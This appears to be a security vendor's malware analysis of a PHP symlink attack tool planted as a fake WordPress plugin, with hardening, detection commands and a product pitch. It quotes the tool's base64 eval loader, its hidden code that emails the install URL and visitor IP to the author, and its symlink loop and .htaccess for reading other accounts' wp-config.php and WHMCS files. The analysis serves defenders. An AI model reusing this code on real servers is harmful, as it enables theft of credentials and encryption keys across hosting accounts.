
On a shared server, every hosting account is supposed to be a closed room. Each customer’s PHP runs as that customer’s user, and nobody else can open their files. A symlink attack gets around that without breaking any password. The attacker only needs a foothold in one account, usually a hacked WordPress site, and a web server that is willing to follow a link.
Once it works, the attacker has the wp-config.php of every WordPress site on the server: database names, users, passwords and secret keys. On a hosting company’s own server, they may also get the WHMCS configuration, which holds the key that encrypts customers’ stored card and account details.
This is how it’s done, using a tool that reached Pyxsoft Labs on November 1.
The file as we received it
Sample 1207 was found as ~/public_html/wp-content/plugins/mad/mina1.php, disguised as a plugin. It is 10 KB and opens like this:
<?php ?><?php
@session_start();
@error_reporting(0);
@ini_set('display_errors', 0);
?>
<html>
<head>
<title>[+[Symlink Config Graber]+]</title>
...
<font face="Comic Sans MS" color=red><center><h1>MAD TIGER</h1></font>
<?php
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7...";
eval(base64_decode($injbuff));
echo '<b>' . php_uname() . '<br></b>';
echo $_SERVER['SERVER_SOFTWARE'];
It is signed at the bottom by “bd grey hat hackers”, “Coded & Modified By mad tiger”. The tool itself isn’t obfuscated. Only one block is hidden, and it hides something from the tool’s own users.
A tool that reports its users
The base64 string decodes to this:
$visitc = $_COOKIE["visits"];
if ($visitc == "") {
$visitc = 0;
$visitor = $_SERVER["REMOTE_ADDR"];
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$sub = "New sms from Server uploader http://$target by $visitor";
$body = "Bug: $target by $visitor - $auth_pass";
if (!empty($web)) { @mail("madtiger.b***@gmail.com",$sub,$body); }
}
Every time someone opens the tool, it emails its author the full URL where it is installed, along with the visitor’s IP address. Whoever downloads “Symlink Config Graber” from a forum and plants it on a hacked site hands that site to the tool’s author as well. It is meant to send the email only on the first visit, but it reads a cookie named visits and sets one named visitz, so the email goes out on every visit.
This is common among hacking tools: the author keeps a copy of every server their tool ends up on.
How the attack works
The page shows the server’s name and software, then a single button labelled “FUCK THE CONFIG”. Hidden in the form is a full copy of /etc/passwd, which on a cPanel server without CageFS lists every hosting account:
<textarea name="passwd" style="display:none;" ...><?php echo file_get_contents('/etc/passwd'); ?></textarea>
Pressing the button creates a folder called mad and drops this .htaccess in it:
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
...
Options All
Then, for every user in /etc/passwd, it creates 64 symbolic links to the places where popular applications keep their database password:
foreach ($passwd as $pwd) {
$pawd = explode(":", $pwd);
$user = $pawd[0];
@symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wordpress.txt');
@symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wordpress-blog.txt');
...
@symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
@symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-Whm6.txt');
...
@symlink('/home/' . $user . '/public_html/app/etc/local.xml', $user . '-Magento2.txt');
@symlink('/home/' . $user . '/public_html/sites/default/settings.php', $user . '-Drupal.txt');
}
The list covers WordPress in a dozen subfolders, Joomla, WHMCS (15 different paths), OpenCart, Magento, Drupal, vBulletin, phpBB, MyBB and SMF. The attacker then opens /mad/ in a browser, gets a directory listing, and clicks through alice-wordpress.txt, bob-whmcs.txt and so on.
Why the web server cooperates
The attacker’s PHP code runs as the hacked account’s user, and on a cPanel server that user can’t read /home/bob/public_html/wp-config.php: public_html is only open to its owner and to the web server’s group. So the tool doesn’t read the file itself. It only creates a link, which any user can create to any path.
The web server reads it. When someone requests /mad/bob-wordpress.txt, Apache serves it as a static file, running as nobody, the user that does have access to every public_html. If Apache follows the link, it reads Bob’s wp-config.php and, thanks to ForceType text/plain, sends it as text instead of running it as PHP.
So the whole attack depends on one decision Apache makes: whether to follow a symbolic link that one account points at another account’s file. The .htaccess file tries to answer yes with Options All and FollowSymLinks.
The tool also writes a php.ini that tries to turn off disable_functions, open_basedir and safe_mode. That only works on old setups that read a php.ini from the site’s folder. With PHP-FPM it is ignored.
This copy is old: it checks whether symlink is disabled with eregi(), which was removed in PHP 7, so on a current PHP it stops with a fatal error before creating any link. Fixing it takes changing one word, and this kind of tool has been around, updated and renamed, for more than ten years. The method still works if the server allows it.
Closing it on cPanel
There are several layers, and the first one alone prevents most of the damage.
1. Make configuration files readable only by their owner. With PHP-FPM, suPHP or mod_ruid2, PHP runs as the account’s user, so wp-config.php doesn’t need to be readable by anyone else:
find /home/*/public_html -name wp-config.php -exec chmod 600 {} +
Apache, running as nobody, can no longer read the file, with or without a link. Do the same for configuration.php (Joomla, WHMCS) and other database configuration files.
2. Don’t let Apache follow links into other accounts. SymLinksIfOwnerMatch makes Apache follow a link only when the link and its target have the same owner, which blocks the links in this tool. The catch is that Apache checks first and opens the file afterwards. An attacker who keeps swapping the link between a file of their own and someone else’s can slip through the gap. cPanel’s symlink race condition page lists the options, from strongest to weakest:
- CageFS with link traversal protection (CloudLinux): each account sees only its own files, and
/etc/passwdonly lists itself. - CloudLinux SecureLinks or the KernelCare symlink protection: the kernel refuses to follow the link, so there is no race condition.
- Symlink Protection in WHM » Apache Configuration » Global Configuration: an Apache patch that cPanel itself recommends only as a last resort, because it is less reliable and can slow down busy servers.
3. Disable symlink in PHP. Add it to disable_functions in the MultiPHP INI Editor. The tool checks for this and gives up. It won’t stop an attacker who can run shell commands (ln -s does the same thing), but it does stop the copy-and-paste tools.
Was it used on your server?
Look for links that point into another account’s home directory. This loop prints each one with its owner:
find /home/*/public_html -type l 2>/dev/null | while read -r link; do
owner=$(stat -c %U "$link")
target=$(readlink -m "$link")
case "$target" in
/home/"$owner"/*) ;;
/home/*|/etc/*|/root/*|/var/*) echo "$owner $link -> $target" ;;
esac
done
A folder full of links called something-wordpress.txt or something-whmcs.txt doesn’t need interpreting. Also look for .htaccess files that switch PHP to plain text, which legitimate sites almost never do:
grep -rlE --include=.htaccess 'ForceType text/plain|AddType text/plain \.php' /home/*/public_html
And check the access logs to see which files were actually downloaded:
grep -hE '\-(wordpress|whmcs|joomla|Whm[0-9]?|Drupal|Magento[0-9])[^ ]*\.txt' /var/log/apache2/domlogs/* | awk '{print $1, $7, $9, $10}'
A 200 with a non-zero size next to a file name means that file was read. Treat every configuration that was read as public: change that site’s database password, generate new WordPress salts, and if a WHMCS configuration was among them, follow WHMCS’s procedure for a compromised encryption hash. Then clean the account the attack came from. The attacker had full control of it, and deleting only the tool isn’t enough.
What Pyxsoft Anti Malware does
Anti Malware checks every symbolic link it finds during a scan. It reports links that point to a file owned by another user, links into system directories such as /etc and /root, links that leave their folder, and broken links, which is what most of the 64 links per user created by this tool are. A mad folder like this one shows up as a list of dangerous links in that account, and in the settings you choose what happens to them, from reporting them to deleting the link.
The tool itself was flagged when Labs received it: it decodes a hidden string and passes it to eval, and it creates links to other users’ configuration files.
You can try Anti Malware free for 7 days on cPanel, DirectAdmin or a server with no panel.